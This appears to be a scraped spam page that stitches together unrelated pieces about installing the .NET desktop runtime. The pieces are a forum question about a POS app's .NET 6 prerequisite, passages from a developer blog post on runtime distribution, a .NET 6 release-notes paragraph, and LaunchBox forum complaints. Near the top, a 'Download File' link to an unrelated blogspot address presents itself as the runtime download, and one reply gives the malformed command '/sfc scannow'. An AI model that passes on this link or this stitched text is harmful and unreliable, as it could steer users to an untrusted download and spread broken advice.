Hi
during publish if i am changing the prerequisite for update my clients software.
when client receive update it is installing updates but not installing prerequisite automatic its showing to download from web and install manually.
like i.e currently my pos using .net 5 but when i change it to .net 6 during publish then its not installing .net 6 automatically.
Thanks
download .net desktop runtime
Download File
https://theochronconsge.blogspot.com/?yl=2x09fp
No, what was holding me back was the issue on how to distribute the application without undue bloating of the download installer sizes or effectively getting the shared .NET Core runtimes installed. The Runtime Distribution is the focus of this post:
Moving to .NET Core isn't a major change in terms of product features, but it is one that I had to make at some point as .NET Framework code - while it still works - is slowly but surely falling behind in functionality and features compared to .NET Core. For desktop applications I'd say most of the improvements are more developer focused, but nevertheless it seems prudent to move forward to the currently recommended platform rather than holding out and hope things don't break or key libraries no longer support full framework (and there are more and more of those!).
Technically I could have moved to Core quite a while ago as I've long ported the application to run, but my biggest issue has been balancing the pros of improved tooling, performance and being 'up to date' vs the increased complexity or potential size penality of runtime distribution.
The existing version of Markdown Monster 2.x runs on .NET Framework (NetFX) and as such takes advantage of the fact that the .NET Framework is always available and pre-installed on Windows. This means I can just ship my binaries and not worry about additional installers, huge install size or making sure that a particular runtime is installed and stays installed. The Runtime is just there.
.NET Core supports several options to deploy from self-contained (ie. ship all the runtime files as part of the app) to using an installed shared framework, to a trimmed down version that attempts to ship only what it uses (very limited) or can even create self-contained executables.
So as you can see by the error message in Figure 1, the shared runtime requires that the Runtime version that is required for your application to run is installed on the machine. The runtime is installed in a global location (%programFiles%\dotnet\shared) and shared by any application that uses the same runtime version.
This allows your application to run on higher patch versions than what is specified for the application's runtime in yourapp.runtime.json. So if you built your application for a runtime of 7.0.3 you can run on 7.0.7, but you can't run on 7.0.2 (lower patch) or 7.1.0 (because the minor version changed). You could make the latter work by using LastestMinor but you might run into problems with breaking changes in that scenario as Patch releases are generally bug fixes while minor releases include updated and changed functionality and possibly breaking APIs.
For a custom runtime installer, I'll discuss a small tool that you can call from your installer to check for and optionally install the .NET Desktop Runtime if not installed. The tool waits for completion of the runtime install so that you can continue with the remainder of the install or launch of the application as you would expect.
I've already been down this path with West Wind WebSurge which was also updated from .NET Framework to .NET Core a couple of years ago. It's a much more developer centric tool, so the shared runtime install requirement and semi-automated built-in process that prompts to install the runtime is less of an issue.
There's no special installer support so WebSurge relies on the runtime install dialog which as I mentioned is not the greatest way for end users. I will probably update that installer with the launcher I'll describe below in future updates.
Install with a Package Manager (Chocolatey WinGet etc.)
These tools have support for installing dependencies so you can set them up to install the required desktop runtimes for you. The downside I found is that these tools will install whatever version you choose to reference, even if a newer compatible version is already installed causing more wasted space.
Manual Installation Prerequisite
This is what I described with WebSurge: Application has a pre-requisite for the runtime, and if it's not present the EXE launcher dialog then can direct for download and installation of the runtime. The downside is that it's not very nice UI for end users having to download and install a runtime manually, and then explicitly restart.
Using a Custom Runtime Installer
I've created a custom Runtime Installer that can be launched from an Installer or interactively from the command line that checks for the installed runtime and if not found, optionally downloads and installs it.
This project is meant to be customized. At minimum you need to specify the configuration for which runtime version is required, which version to download and also an optional manual link and SHA512 hash.
The manual download page link is a generic link that goes to the latest runtime version available and is likely what you want to send people to when they decide they'd rather install directly from the binaries at Microsoft.
In order to avoid unnecessary runtime installs it's recommended you specify the lowest version that your application can run with for MinDotnetRuntimeVersion, but specify the latest version available for the download link if the runtime is not installed or out of date.
In Markdown Monster I already am using an optional launcher program to provide shortcut access to the main executable named mm.exe. For the most part it simply forwards the command line to the larger main executable, but for the runtime installer I simply added an additional command line option to perform the install described here. Since the code is a single file it's easy to add to an existing project with minimal impact - all that needs to happen is the check for the command line and calling the install component.
In .NET Core because the main EXE is not actually your code and therefore very small, you can now simply rename the main exe to the shortcut. But alas since I need a launcher, I continue to use the old mm.exe file, leave it as a Net472 executable and add support for the -runtimeinstall switch to handle the installation tasks.
If the runtime is already installed, the script runs very quickly and immediately returns. If an install is needed the console window pops up although you can use the installer options to hide the window.
Another usage scenario for Markdown Monster is the Portable install which doesn't have an installer. In that case users can then unpack MM and then run .\mm -runtimeinstall to get the runtime installed quickly.
When deploying .NET Core Desktop applications on Windows you have a choice to make: Deploy with a large self-contained install, or use the shared runtime and deal with making sure the runtime is installed.
The latter has a number of options from just letting the EXE launcher on Windows handle detecting a missing runtime and offering a link to download and install. Alternately using a package manager like Chocolatey or WinGet exclusively can also work as you can specify a Runtime dependency to check and install for.
.NET 6 introduces Android, iOS, and macOS SDKs for developing native applications. These provide the foundational mobile and desktop pieces for the new .NET MAUI. See documentation for additional setup instructions and creating your first .NET MAUI application.
As part of launching an application, the .NET host needs to find the .NET runtime itself. If a runtime (or SDK) cannot be found, the user will not be able to run their application (or run a SDK command). To improve the error experience in such cases, we updated error messages and commands like dotnet --info to provide more information. The more consistent layout and additional information is intended to help end-users self-diagnose their problems and developers support their end-users.
It asks me to download the .net stuff, So I do that and install both the x64 and x86 versions. But Launchbox keeps asking me to install them when I already did that. I even checked to see if I downloaded the correct version number and it's 3.1.0.
I would try running Command Prompt as Administrator and running "/sfc scannow" (Without quotes) and letting it run then restarting your computer. Sounds like the OS data that tells us you have the runtime installed has been corrupted or isn't working correctly. That process should correct.
Bumpity Bump. I got a whole new gaming rig. Installing Launchbox 12.5 has the same issue as reported above. Here were my steps:
- Install Win10
- Set up all the things (typical process, can share details but should not affect this issue)
- Install Launchbox 12
- Launchbox setup informs user that .NET Core 3.1.6 must be downloaded from the internet for Launchbox to run
- Quit Launchbox setup
- Install .net-runtime 3.1.6
- Install .net framework 4.8 (included with Win10)
- Install .net desktop runtime 3.1.x
- Install ASP .net Core 3.1.x
(all the versions of .NET I can find)
- Install Launchbox 12
- Launchbox setup does not inform user of need to download .NET Core 3.1.6, and Launchbox installs as expected
- Launch Launchbox
- At startup Launchbox prompts the user that .NET 3.1.6 is required to run, and asks if the user would like it downloaded now
This is kind of silly. As with all my gaming rigs, this is an offline machine. Can this issue please be addressed? I am moving to download the latest version of LB now, since I now have no choice but to run Win10, but...
Thank you for any assistance.
35fe9a5643